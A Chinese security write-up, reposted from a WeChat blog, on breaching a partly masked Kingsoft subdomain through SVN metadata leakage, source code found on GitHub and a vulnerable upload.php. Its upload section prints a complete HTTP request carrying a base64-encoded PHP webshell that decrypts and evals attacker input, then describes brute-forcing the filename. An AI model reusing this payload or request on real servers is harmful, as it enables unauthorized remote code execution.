记一次某山信息泄露+源码泄露getshell

admin 2022年7月18日03:42:18评论41 views字数 2330阅读7分46秒阅读模式

挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下


0x01 SVN泄露

首先自然是子域名收集,发现存在一个很长的二级域名:

*打码*.kingsoft.com

因为是带着xray扫的,所以直接发现.svn/entries可访问,存在SVN信息泄露,进一步利用,主要是访问/.svn/wc.db可获取svn数据库信息
db文件可通过数据库读取软件打开,可以清晰看到网站文件结构:

记一次某山信息泄露+源码泄露getshell

发现存在服务器日志页面

https://*打码*.kingsoft.com/api/serverlog/index.php?p=7&t=2021-02-16

点击进入可看见服务器所有日志
以及各类服务器日志信息

记一次某山信息泄露+源码泄露getshell


0x02 Github源码泄露


在SVN数据翻找的过程中发现一个文件:showtrace.lua

发现内网svn地址:svn.funova.com

记一次某山信息泄露+源码泄露getshell

本着试试看的原则,在github中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面

记一次某山信息泄露+源码泄露getshell

经过与SVN泄露的文件对比验证,确定这就是该网站的项目源码!


0x03 文件上传getshell


赶快看看项目中的源码内容,看看有无利用点,正好发现存在个upload.php

记一次某山信息泄露+源码泄露getshell

该PHP文件会在save目录下创建一个通过devid与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:

记一次某山信息泄露+源码泄露getshell

其中前面为日期,后面为小时-分钟-秒数

开始构造上传payload,根据上传代码分析,文件内容需要经过一层base64加密,把shell提前加密一下即可:POST /api/upload.php HTTP/1.1
Host: *打码*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://*打码*.kingsoft.com
Connection: close
Referer: https://*打码*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50

op=0&devid=1&fname=testhtml.php&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==

上传返回200,但没有返回文件名

记一次某山信息泄露+源码泄露getshell

问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:

记一次某山信息泄露+源码泄露getshell
webshell连接成功:

记一次某山信息泄露+源码泄露getshell

版权声明:本文为「gt4404gb

原文链接:https://gt4404gb.com/archives/1278


欢迎 点赞留言分享至朋友圈 三连



 好文推荐  



原文始发于微信公众号(雾晓安全):记一次某山信息泄露+源码泄露getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日03:42:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次某山信息泄露+源码泄露getshellhttp://cn-sec.com/archives/1182937.html

发表评论

匿名网友 填写信息